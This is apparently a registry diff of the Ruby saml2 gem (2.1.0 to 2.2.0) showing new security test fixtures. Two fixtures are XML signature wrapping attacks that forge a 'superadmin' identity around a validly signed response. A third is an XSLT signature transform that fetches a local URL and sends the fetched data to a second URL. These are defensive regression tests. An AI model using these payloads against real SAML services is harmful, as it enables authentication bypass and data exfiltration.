saml2 2.1.0 → 2.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/saml2/assertion.rb +10 -0
- data/lib/saml2/attribute.rb +32 -0
- data/lib/saml2/attribute/x500.rb +11 -2
- data/lib/saml2/base.rb +54 -0
- data/lib/saml2/conditions.rb +42 -27
- data/lib/saml2/entity.rb +23 -3
- data/lib/saml2/key.rb +2 -0
- data/lib/saml2/message.rb +15 -2
- data/lib/saml2/response.rb +150 -2
- data/lib/saml2/role.rb +11 -0
- data/lib/saml2/signable.rb +36 -8
- data/lib/saml2/version.rb +1 -1
- data/spec/fixtures/certificate.pem +0 -1
- data/spec/fixtures/external-uri-reference-response.xml +48 -0
- data/spec/fixtures/othercertificate.pem +25 -0
- data/spec/fixtures/response_tampered_certificate.xml +25 -0
- data/spec/fixtures/response_tampered_signature.xml +46 -0
- data/spec/fixtures/response_with_encrypted_assertion.xml +58 -0
- data/spec/fixtures/test3-response.xml +9 -0
- data/spec/fixtures/test6-response.xml +10 -0
- data/spec/fixtures/test7-response.xml +10 -0
- data/spec/fixtures/xml_missigned_assertion.xml +84 -0
- data/spec/fixtures/xml_signature_wrapping_attack_duplicate_ids.xml +11 -0
- data/spec/fixtures/xml_signature_wrapping_attack_response_attributes.xml +45 -0
- data/spec/fixtures/xml_signature_wrapping_attack_response_nameid.xml +44 -0
- data/spec/fixtures/xslt-transform-response.xml +57 -0
- data/spec/lib/attribute_spec.rb +17 -0
- data/spec/lib/conditions_spec.rb +2 -2
- data/spec/lib/response_spec.rb +210 -1
- metadata +28 -2
@@ -0,0 +1,45 @@
|
|
1
|
+
<!-- = = = = = = = = = = = = = = -->
|
2
|
+
<!-- unsigned malicious envelope -->
|
3
|
+
<!-- = = = = = = = = = = = = = = -->
|
4
|
+
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="attackergenerated1" Version="2.0" IssueInstant="2012-08-03T20:07:15Z" Destination="http://shard1.localdomain:3000/saml_consume" InResponseTo="d0016ec858d92360c597a01d155944f8df8fdb116d"><saml:Issuer>http://phpsite/simplesaml/saml2/idp/metadata.php</saml:Issuer>
|
5
|
+
<samlp:Status>
|
6
|
+
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
|
7
|
+
<samlp:StatusDetail>
|
8
|
+
<!-- = = = = = = = = = = = -->
|
9
|
+
<!-- valid signed response -->
|
10
|
+
<!-- = = = = = = = = = = = -->
|
11
|
+
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_32f10e8e465fcef72368e220faeb81db4c72f0c687" Version="2.0" IssueInstant="2012-08-03T20:07:15Z" Destination="http://shard1.localdomain:3000/saml_consume" InResponseTo="d0016ec858d92360c597a01d155944f8df8fdb116d"><saml:Issuer>http://phpsite/simplesaml/saml2/idp/metadata.php</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
12
|
+
<ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
|
13
|
+
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
|
14
|
+
<ds:Reference URI="#_32f10e8e465fcef72368e220faeb81db4c72f0c687"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>S6Ne11nB7g1OyQAGYrFEOnu5QAQ=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>mgqZUiA3matrj6Zy4Dl+1ghsgoOl8wPH2mrFM9PAqrYB0skuJUZhYUkCegEbEX9WROEhoZ2bgwJQqeUPyX7leMPe7SSdUDNKf9kiuvpcCYZs1lFSEd51Ec8f+HvejmHUJAU+JIRWpp1VkYUZATihwjGLok3NGi/ygoajNh42vZ4=</ds:SignatureValue>
|
15
|
+
<ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICgTCCAeoCCQCbOlrWDdX7FTANBgkqhkiG9w0BAQUFADCBhDELMAkGA1UEBhMCTk8xGDAWBgNVBAgTD0FuZHJlYXMgU29sYmVyZzEMMAoGA1UEBxMDRm9vMRAwDgYDVQQKEwdVTklORVRUMRgwFgYDVQQDEw9mZWlkZS5lcmxhbmcubm8xITAfBgkqhkiG9w0BCQEWEmFuZHJlYXNAdW5pbmV0dC5ubzAeFw0wNzA2MTUxMjAxMzVaFw0wNzA4MTQxMjAxMzVaMIGEMQswCQYDVQQGEwJOTzEYMBYGA1UECBMPQW5kcmVhcyBTb2xiZXJnMQwwCgYDVQQHEwNGb28xEDAOBgNVBAoTB1VOSU5FVFQxGDAWBgNVBAMTD2ZlaWRlLmVybGFuZy5ubzEhMB8GCSqGSIb3DQEJARYSYW5kcmVhc0B1bmluZXR0Lm5vMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDivbhR7P516x/S3BqKxupQe0LONoliupiBOesCO3SHbDrl3+q9IbfnfmE04rNuMcPsIxB161TdDpIesLCn7c8aPHISKOtPlAeTZSnb8QAu7aRjZq3+PbrP5uW3TcfCGPtKTytHOge/OlJbo078dVhXQ14d1EDwXJW1rRXuUt4C8QIDAQABMA0GCSqGSIb3DQEBBQUAA4GBACDVfp86HObqY+e8BUoWQ9+VMQx1ASDohBjwOsg2WykUqRXF+dLfcUH9dWR63CtZIKFDbStNomPnQz7nbK+onygwBspVEbnHuUihZq3ZUdmumQqCw4Uvs/1Uvq3orOo/WJVhTyvLgFVK2QarQ4/67OZfHd7R+POBXhophSMv1ZOo</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="_6212b7e8c069d0f948c8648991d357addc4095a82f" Version="2.0" IssueInstant="2012-08-03T20:07:15Z"><saml:Issuer>http://phpsite/simplesaml/saml2/idp/metadata.php</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
16
|
+
<ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
|
17
|
+
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
|
18
|
+
<ds:Reference URI="#_6212b7e8c069d0f948c8648991d357addc4095a82f"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>kaZN1+moS328pr2zn8SKUML1ElI=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>1kUEkG33ZGQMf/1H1gzqBOhT5N2I35vM04Jp67xVjnZXF54AqPq1ZaM+Wjgx++AjEbL7ksaYuM3JSyK7GlZ77VmzpLsMqn4eM00K7Y+CeZy5LB24vcngXPxBk6BdUYkVk0vOsUfAAZ+mRX/zzBW7Z4C7qbjNGhAAJgi13JoBWpU=</ds:SignatureValue>
|
19
|
+
<ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICgTCCAeoCCQCbOlrWDdX7FTANBgkqhkiG9w0BAQUFADCBhDELMAkGA1UEBhMCTk8xGDAWBgNVBAgTD0FuZHJlYXMgU29sYmVyZzEMMAoGA1UEBxMDRm9vMRAwDgYDVQQKEwdVTklORVRUMRgwFgYDVQQDEw9mZWlkZS5lcmxhbmcubm8xITAfBgkqhkiG9w0BCQEWEmFuZHJlYXNAdW5pbmV0dC5ubzAeFw0wNzA2MTUxMjAxMzVaFw0wNzA4MTQxMjAxMzVaMIGEMQswCQYDVQQGEwJOTzEYMBYGA1UECBMPQW5kcmVhcyBTb2xiZXJnMQwwCgYDVQQHEwNGb28xEDAOBgNVBAoTB1VOSU5FVFQxGDAWBgNVBAMTD2ZlaWRlLmVybGFuZy5ubzEhMB8GCSqGSIb3DQEJARYSYW5kcmVhc0B1bmluZXR0Lm5vMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDivbhR7P516x/S3BqKxupQe0LONoliupiBOesCO3SHbDrl3+q9IbfnfmE04rNuMcPsIxB161TdDpIesLCn7c8aPHISKOtPlAeTZSnb8QAu7aRjZq3+PbrP5uW3TcfCGPtKTytHOge/OlJbo078dVhXQ14d1EDwXJW1rRXuUt4C8QIDAQABMA0GCSqGSIb3DQEBBQUAA4GBACDVfp86HObqY+e8BUoWQ9+VMQx1ASDohBjwOsg2WykUqRXF+dLfcUH9dWR63CtZIKFDbStNomPnQz7nbK+onygwBspVEbnHuUihZq3ZUdmumQqCw4Uvs/1Uvq3orOo/WJVhTyvLgFVK2QarQ4/67OZfHd7R+POBXhophSMv1ZOo</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID SPNameQualifier="http://shard1.localdomain/saml2" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">_3b3e7714b72e29dc4290321a075fa0b73333a4f25f</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2012-08-03T20:12:15Z" Recipient="http://shard1.localdomain:3000/saml_consume" InResponseTo="d0016ec858d92360c597a01d155944f8df8fdb116d"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2012-08-03T20:06:45Z" NotOnOrAfter="2012-08-03T20:12:15Z"><saml:AudienceRestriction><saml:Audience>http://shard1.localdomain/saml2</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2012-08-03T20:07:15Z" SessionNotOnOrAfter="2012-08-04T04:07:15Z" SessionIndex="_02f26af30a37afb92081f3a73728810193efd7fa6e"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement><saml:AttributeStatement><saml:Attribute Name="urn:oid:1.3.6.1.4.1.5923.1.1.1.1" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"><saml:AttributeValue xsi:type="xs:string">member</saml:AttributeValue></saml:Attribute><saml:Attribute Name="urn:oid:1.3.6.1.4.1.5923.1.1.1.6" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"><saml:AttributeValue xsi:type="xs:string">student@example.edu</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>
|
20
|
+
</samlp:StatusDetail>
|
21
|
+
</samlp:Status>
|
22
|
+
|
23
|
+
<saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="attackergenerated2" Version="2.0" IssueInstant="2012-08-03T20:07:15Z">
|
24
|
+
<saml:Issuer>http://phpsite/simplesaml/saml2/idp/metadata.php</saml:Issuer>
|
25
|
+
<saml:AuthnStatement AuthnInstant="2012-08-03T20:07:15Z" SessionNotOnOrAfter="2012-08-04T04:07:15Z" SessionIndex="_02f26af30a37afb92081f3a73728810193efd7fa6e">
|
26
|
+
<saml:AuthnContext>
|
27
|
+
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
|
28
|
+
</saml:AuthnContext>
|
29
|
+
</saml:AuthnStatement>
|
30
|
+
<saml:Subject>
|
31
|
+
<saml:NameID SPNameQualifier="http://shard1.localdomain/saml2" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">superadmin</saml:NameID>
|
32
|
+
</saml:Subject>
|
33
|
+
<!-- = = = = = = = = = = = = = = = -->
|
34
|
+
<!-- last attributes will win -->
|
35
|
+
<!-- = = = = = = = = = = = = = = = -->
|
36
|
+
<saml:AttributeStatement>
|
37
|
+
<saml:Attribute Name="urn:oid:1.3.6.1.4.1.5923.1.1.1.1" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
38
|
+
<saml:AttributeValue xsi:type="xs:string">superadmin</saml:AttributeValue></saml:Attribute>
|
39
|
+
<saml:Attribute Name="urn:oid:1.3.6.1.4.1.5923.1.1.1.6" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
40
|
+
<saml:AttributeValue xsi:type="xs:string">superadmin@example.edu</saml:AttributeValue>
|
41
|
+
</saml:Attribute>
|
42
|
+
</saml:AttributeStatement>
|
43
|
+
</saml:Assertion>
|
44
|
+
</samlp:Response>
|
45
|
+
|
@@ -0,0 +1,44 @@
|
|
1
|
+
<!-- = = = = = = = = = = = = = = -->
|
2
|
+
<!-- unsigned malicious envelope -->
|
3
|
+
<!-- = = = = = = = = = = = = = = -->
|
4
|
+
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="attackergenerated1" Version="2.0" IssueInstant="2012-08-03T20:07:15Z" Destination="http://shard1.localdomain:3000/saml_consume" InResponseTo="d0016ec858d92360c597a01d155944f8df8fdb116d"><saml:Issuer>http://phpsite/simplesaml/saml2/idp/metadata.php</saml:Issuer>
|
5
|
+
<saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="attackergenerated2" Version="2.0" IssueInstant="2012-08-03T20:07:15Z">
|
6
|
+
<saml:Issuer>http://phpsite/simplesaml/saml2/idp/metadata.php</saml:Issuer>
|
7
|
+
<saml:AuthnStatement AuthnInstant="2012-08-03T20:07:15Z" SessionNotOnOrAfter="2012-08-04T04:07:15Z" SessionIndex="_02f26af30a37afb92081f3a73728810193efd7fa6e">
|
8
|
+
<saml:AuthnContext>
|
9
|
+
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
|
10
|
+
</saml:AuthnContext>
|
11
|
+
</saml:AuthnStatement>
|
12
|
+
<!-- = = = = = = = = = = = = = = = -->
|
13
|
+
<!-- first nameid will win -->
|
14
|
+
<!-- = = = = = = = = = = = = = = = -->
|
15
|
+
<saml:Subject>
|
16
|
+
<saml:NameID SPNameQualifier="http://shard1.localdomain/saml2" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">superadmin</saml:NameID>
|
17
|
+
</saml:Subject>
|
18
|
+
<saml:AttributeStatement>
|
19
|
+
<saml:Attribute Name="urn:oid:1.3.6.1.4.1.5923.1.1.1.1" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
20
|
+
<saml:AttributeValue xsi:type="xs:string">superadmin</saml:AttributeValue></saml:Attribute>
|
21
|
+
<saml:Attribute Name="urn:oid:1.3.6.1.4.1.5923.1.1.1.6" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
22
|
+
<saml:AttributeValue xsi:type="xs:string">superadmin@example.edu</saml:AttributeValue>
|
23
|
+
</saml:Attribute>
|
24
|
+
</saml:AttributeStatement>
|
25
|
+
</saml:Assertion>
|
26
|
+
<samlp:Status>
|
27
|
+
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
|
28
|
+
<samlp:StatusDetail>
|
29
|
+
<!-- = = = = = = = = = = = -->
|
30
|
+
<!-- valid signed response -->
|
31
|
+
<!-- = = = = = = = = = = = -->
|
32
|
+
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_32f10e8e465fcef72368e220faeb81db4c72f0c687" Version="2.0" IssueInstant="2012-08-03T20:07:15Z" Destination="http://shard1.localdomain:3000/saml_consume" InResponseTo="d0016ec858d92360c597a01d155944f8df8fdb116d"><saml:Issuer>http://phpsite/simplesaml/saml2/idp/metadata.php</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
33
|
+
<ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
|
34
|
+
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
|
35
|
+
<ds:Reference URI="#_32f10e8e465fcef72368e220faeb81db4c72f0c687"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>S6Ne11nB7g1OyQAGYrFEOnu5QAQ=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>mgqZUiA3matrj6Zy4Dl+1ghsgoOl8wPH2mrFM9PAqrYB0skuJUZhYUkCegEbEX9WROEhoZ2bgwJQqeUPyX7leMPe7SSdUDNKf9kiuvpcCYZs1lFSEd51Ec8f+HvejmHUJAU+JIRWpp1VkYUZATihwjGLok3NGi/ygoajNh42vZ4=</ds:SignatureValue>
|
36
|
+
<ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICgTCCAeoCCQCbOlrWDdX7FTANBgkqhkiG9w0BAQUFADCBhDELMAkGA1UEBhMCTk8xGDAWBgNVBAgTD0FuZHJlYXMgU29sYmVyZzEMMAoGA1UEBxMDRm9vMRAwDgYDVQQKEwdVTklORVRUMRgwFgYDVQQDEw9mZWlkZS5lcmxhbmcubm8xITAfBgkqhkiG9w0BCQEWEmFuZHJlYXNAdW5pbmV0dC5ubzAeFw0wNzA2MTUxMjAxMzVaFw0wNzA4MTQxMjAxMzVaMIGEMQswCQYDVQQGEwJOTzEYMBYGA1UECBMPQW5kcmVhcyBTb2xiZXJnMQwwCgYDVQQHEwNGb28xEDAOBgNVBAoTB1VOSU5FVFQxGDAWBgNVBAMTD2ZlaWRlLmVybGFuZy5ubzEhMB8GCSqGSIb3DQEJARYSYW5kcmVhc0B1bmluZXR0Lm5vMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDivbhR7P516x/S3BqKxupQe0LONoliupiBOesCO3SHbDrl3+q9IbfnfmE04rNuMcPsIxB161TdDpIesLCn7c8aPHISKOtPlAeTZSnb8QAu7aRjZq3+PbrP5uW3TcfCGPtKTytHOge/OlJbo078dVhXQ14d1EDwXJW1rRXuUt4C8QIDAQABMA0GCSqGSIb3DQEBBQUAA4GBACDVfp86HObqY+e8BUoWQ9+VMQx1ASDohBjwOsg2WykUqRXF+dLfcUH9dWR63CtZIKFDbStNomPnQz7nbK+onygwBspVEbnHuUihZq3ZUdmumQqCw4Uvs/1Uvq3orOo/WJVhTyvLgFVK2QarQ4/67OZfHd7R+POBXhophSMv1ZOo</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="_6212b7e8c069d0f948c8648991d357addc4095a82f" Version="2.0" IssueInstant="2012-08-03T20:07:15Z"><saml:Issuer>http://phpsite/simplesaml/saml2/idp/metadata.php</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
37
|
+
<ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
|
38
|
+
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
|
39
|
+
<ds:Reference URI="#_6212b7e8c069d0f948c8648991d357addc4095a82f"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>kaZN1+moS328pr2zn8SKUML1ElI=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>1kUEkG33ZGQMf/1H1gzqBOhT5N2I35vM04Jp67xVjnZXF54AqPq1ZaM+Wjgx++AjEbL7ksaYuM3JSyK7GlZ77VmzpLsMqn4eM00K7Y+CeZy5LB24vcngXPxBk6BdUYkVk0vOsUfAAZ+mRX/zzBW7Z4C7qbjNGhAAJgi13JoBWpU=</ds:SignatureValue>
|
40
|
+
<ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICgTCCAeoCCQCbOlrWDdX7FTANBgkqhkiG9w0BAQUFADCBhDELMAkGA1UEBhMCTk8xGDAWBgNVBAgTD0FuZHJlYXMgU29sYmVyZzEMMAoGA1UEBxMDRm9vMRAwDgYDVQQKEwdVTklORVRUMRgwFgYDVQQDEw9mZWlkZS5lcmxhbmcubm8xITAfBgkqhkiG9w0BCQEWEmFuZHJlYXNAdW5pbmV0dC5ubzAeFw0wNzA2MTUxMjAxMzVaFw0wNzA4MTQxMjAxMzVaMIGEMQswCQYDVQQGEwJOTzEYMBYGA1UECBMPQW5kcmVhcyBTb2xiZXJnMQwwCgYDVQQHEwNGb28xEDAOBgNVBAoTB1VOSU5FVFQxGDAWBgNVBAMTD2ZlaWRlLmVybGFuZy5ubzEhMB8GCSqGSIb3DQEJARYSYW5kcmVhc0B1bmluZXR0Lm5vMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDivbhR7P516x/S3BqKxupQe0LONoliupiBOesCO3SHbDrl3+q9IbfnfmE04rNuMcPsIxB161TdDpIesLCn7c8aPHISKOtPlAeTZSnb8QAu7aRjZq3+PbrP5uW3TcfCGPtKTytHOge/OlJbo078dVhXQ14d1EDwXJW1rRXuUt4C8QIDAQABMA0GCSqGSIb3DQEBBQUAA4GBACDVfp86HObqY+e8BUoWQ9+VMQx1ASDohBjwOsg2WykUqRXF+dLfcUH9dWR63CtZIKFDbStNomPnQz7nbK+onygwBspVEbnHuUihZq3ZUdmumQqCw4Uvs/1Uvq3orOo/WJVhTyvLgFVK2QarQ4/67OZfHd7R+POBXhophSMv1ZOo</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID SPNameQualifier="http://shard1.localdomain/saml2" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">_3b3e7714b72e29dc4290321a075fa0b73333a4f25f</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2012-08-03T20:12:15Z" Recipient="http://shard1.localdomain:3000/saml_consume" InResponseTo="d0016ec858d92360c597a01d155944f8df8fdb116d"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2012-08-03T20:06:45Z" NotOnOrAfter="2012-08-03T20:12:15Z"><saml:AudienceRestriction><saml:Audience>http://shard1.localdomain/saml2</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2012-08-03T20:07:15Z" SessionNotOnOrAfter="2012-08-04T04:07:15Z" SessionIndex="_02f26af30a37afb92081f3a73728810193efd7fa6e"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement><saml:AttributeStatement><saml:Attribute Name="urn:oid:1.3.6.1.4.1.5923.1.1.1.1" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"><saml:AttributeValue xsi:type="xs:string">member</saml:AttributeValue></saml:Attribute><saml:Attribute Name="urn:oid:1.3.6.1.4.1.5923.1.1.1.6" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"><saml:AttributeValue xsi:type="xs:string">student@example.edu</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>
|
41
|
+
</samlp:StatusDetail>
|
42
|
+
</samlp:Status>
|
43
|
+
</samlp:Response>
|
44
|
+
|
@@ -0,0 +1,57 @@
|
|
1
|
+
<?xml version="1.0"?>
|
2
|
+
<samlp:Response xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="Rbd1ca4d500b80130b5178ada0d47c52294f418ad" Version="2.0" IssueInstant="2014-06-03T12:43:56Z" Destination="">
|
3
|
+
<saml:Issuer>https://app.example.com/saml/</saml:Issuer>
|
4
|
+
<samlp:Status>
|
5
|
+
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
|
6
|
+
</samlp:Status>
|
7
|
+
<saml:Assertion xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" Version="2.0" ID="pfx9cb71b16-ad32-1735-fdcc-7a68b98ba9be" IssueInstant="2014-06-03T12:43:56Z">
|
8
|
+
<saml:Issuer>https://app.example.com/saml/</saml:Issuer>
|
9
|
+
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
10
|
+
<ds:SignedInfo>
|
11
|
+
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
|
12
|
+
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
|
13
|
+
<ds:Reference URI="#pfx9cb71b16-ad32-1735-fdcc-7a68b98ba9be">
|
14
|
+
<ds:Transforms>
|
15
|
+
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
|
16
|
+
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
|
17
|
+
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
|
18
|
+
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
19
|
+
<xsl:template match="/">
|
20
|
+
<xsl:variable name="exploit" select="document('http://127.0.0.1:2345/exploit')" />
|
21
|
+
<xsl:variable name="exploitUrl" select="concat('http://127.0.0.1:2345/here',substring($exploit, 1, 5))" />
|
22
|
+
<xsl:value-of select="document($exploitUrl)"/>
|
23
|
+
</xsl:template>
|
24
|
+
</xsl:stylesheet>
|
25
|
+
</ds:Transform>
|
26
|
+
</ds:Transforms>
|
27
|
+
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
|
28
|
+
<ds:DigestValue>Q40aDbTJ0gA35qMt9bk6RLDaHM8=</ds:DigestValue>
|
29
|
+
</ds:Reference>
|
30
|
+
</ds:SignedInfo>
|
31
|
+
<ds:SignatureValue>evqiVwhRAqUlLxQrzmmKQ/TNVseqj4k0dO8CghneerLLW5mHqOPLQrAFyBgr8BK5
|
32
|
+
gqmnFnm8a6rjSuqMj8xCTVGq4jXwz38WXx8iYCP1pQJASzWPFq9HicHoGVo9UT7a
|
33
|
+
xyrTA51M+HswpueFnwE8anx0llBDNisxjZMX7ixdwc8=</ds:SignatureValue>
|
34
|
+
<ds:KeyInfo>
|
35
|
+
<ds:X509Data>
|
36
|
+
<ds:X509Certificate>MIIECDCCAvCgAwIBAgIUH1Nywt/+Cklv5RvuPPer8PNG7ggwDQYJKoZIhvcNAQEFBQAwUzELMAkGA1UEBhMCVVMxDDAKBgNVBAoMA3J1YjEVMBMGA1UECwwMT25lTG9naW4gSWRQMR8wHQYDVQQDDBZPbmVMb2dpbiBBY2NvdW50IDM1Mzc2MB4XDTEzMTEyNjE2MjgwN1oXDTE4MTEyNzE2MjgwN1owUzELMAkGA1UEBhMCVVMxDDAKBgNVBAoMA3J1YjEVMBMGA1UECwwMT25lTG9naW4gSWRQMR8wHQYDVQQDDBZPbmVMb2dpbiBBY2NvdW50IDM1Mzc2MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxINN52pg/eD9k4REEKq+1VQ+f7RxYVm0D2iTpJjFhBCi8jKhwMgQGqt/4x3iTx6i0swgi0xZIwMdsBlAB/83AFuXSK6hmZCY08zyM7x+wvj3EWwwC6fokvZvbb0PuIg7d4xgkMiSpDsCMg9XiDJytp8Obokmc0EPc0xEWdwIIwhPpy4TAdswcD5aTXnBn9fB/KRdmVR7VvnqCWqdTmOd3RxvvpcnLOHsycumGLVWukBNxHExALU6yTGMesJbg0fPhoN+MHxNYfe8NWBKFVEjdcvfVC9Ivemzj2xGDU1xMZ+v8uqt0pVV1LOmNcs5CvpMhZFSQFcu8dk77AAY2MJthQIDAQABo4HTMIHQMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFK2I7+srPutX2VzEnIwGmtCofTuhMIGQBgNVHSMEgYgwgYWAFK2I7+srPutX2VzEnIwGmtCofTuhoVekVTBTMQswCQYDVQQGEwJVUzEMMAoGA1UECgwDcnViMRUwEwYDVQQLDAxPbmVMb2dpbiBJZFAxHzAdBgNVBAMMFk9uZUxvZ2luIEFjY291bnQgMzUzNzaCFB9TcsLf/gpJb+Ub7jz3q/DzRu4IMA4GA1UdDwEB/wQEAwIHgDANBgkqhkiG9w0BAQUFAAOCAQEAnfgwE60ClcQ80b+GaFtEImzWlW7jIxpljSeRJ9Rbd6SSRxSck0Xwz17jtCn